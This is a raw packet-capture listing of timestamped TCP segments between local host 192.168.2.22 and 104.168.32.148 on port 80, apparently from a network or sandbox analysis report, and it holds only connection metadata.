Sep 27, 2024 12:51:55.826005936 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826014042 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826020956 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826035023 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826049089 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826049089 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826065063 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826069117 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826081038 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826096058 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826106071 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826111078 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826126099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826136112 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826141119 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826154947 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826155901 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826195955 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826530933 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826545000 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826559067 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826572895 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826586962 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826589108 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826602936 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826610088 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826618910 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826634884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.826642036 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.826673985 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.827864885 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.827897072 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.827918053 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.827953100 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.827991009 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828006983 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828021049 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828035116 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828037024 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.828063011 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.828146935 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828161955 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828176022 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828190088 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.828197002 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.828224897 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.865065098 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865094900 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865117073 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865130901 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865144968 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865156889 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865173101 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865185976 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865206003 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.865236998 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.865242958 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.869412899 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911379099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911422014 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911473989 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911489964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911504984 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911520004 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911540985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911540031 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911598921 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911628008 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911643028 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911657095 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911669970 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911680937 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911694050 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911699057 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911761045 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911761999 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911777020 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.911818027 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.911987066 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912002087 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912055016 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912142038 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912158012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912170887 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912183046 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912185907 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912210941 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912225962 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912237883 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912300110 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912489891 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912504911 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912519932 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912533998 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912547112 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912555933 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912560940 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912574053 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912578106 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912594080 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912600994 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912606955 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912619114 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912621021 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912630081 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912636995 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912653923 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912656069 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912672997 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912691116 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912694931 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912704945 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912730932 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912811995 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912827015 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912842035 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912849903 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912863016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912878036 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912882090 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912893057 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912909985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912914038 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.912924051 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.912971973 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913177967 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913191080 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913206100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913220882 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913227081 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913237095 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913331032 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913646936 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913661957 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913676023 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913690090 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913691998 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913705111 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913719893 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913727045 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913733959 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913748980 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913758039 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913763046 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913779020 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913789034 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.913794041 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.913820028 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914069891 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914084911 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914098978 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914113045 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914113998 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914129019 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914134026 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914144039 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914166927 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914596081 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914609909 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914623976 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914634943 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914638042 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914650917 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914654016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914670944 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914685011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914694071 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914700985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914715052 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914725065 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914730072 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914743900 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914756060 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914758921 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914772987 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.914966106 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914980888 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.914994955 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915007114 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915009975 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915024996 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915035009 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915040016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915050983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915055990 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915071011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915091991 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915093899 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915107012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915122032 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915127993 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915136099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915150881 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915159941 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915164948 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915189028 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915194035 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915204048 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915219069 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915222883 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915235043 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915250063 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915257931 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915262938 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915278912 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915287018 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915293932 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915317059 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915678978 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915694952 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915718079 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915719986 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915735006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915749073 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915759087 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915765047 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915780067 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915791035 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915795088 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915812016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915822983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915829897 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915853024 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.915862083 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.915900946 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.954580069 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.954859972 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.954874992 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.954910994 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.955626965 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.955642939 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.955668926 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.955769062 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.955805063 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.955837965 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.955955982 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.955996037 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.999783039 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999830961 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999842882 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999886990 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.999923944 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999936104 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999946117 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999957085 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.999974012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000092983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000092983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000137091 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000164032 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000174999 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000185013 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000190973 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000200987 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000205994 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000236034 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000382900 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000394106 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000403881 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000416040 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000427008 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000432968 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000464916 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000521898 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000533104 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000565052 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000648022 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000659943 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000669956 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000675917 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000685930 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000696898 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000706911 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000716925 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000720978 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000730991 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.000761032 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.000788927 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.127054930 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.131980896 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132009983 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132021904 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132062912 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132124901 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132136106 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132147074 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132172108 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132261038 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132298946 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132343054 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132354021 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132364035 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132375002 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132385969 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132388115 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132414103 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132461071 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132504940 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132591963 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132602930 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132611990 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132627964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132637024 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132637978 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132651091 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132661104 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132663965 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132677078 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132683039 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132687092 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132699013 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132709026 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132711887 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.132720947 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.132736921 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133266926 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133277893 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133287907 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133297920 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133306026 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133308887 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133315086 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133322001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133332014 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133342028 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133347988 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133352995 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133363962 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133368969 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:56.133375883 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133384943 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133394957 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:56.133399963 CEST	49174	80	192.168.2.22	104.168.32.148
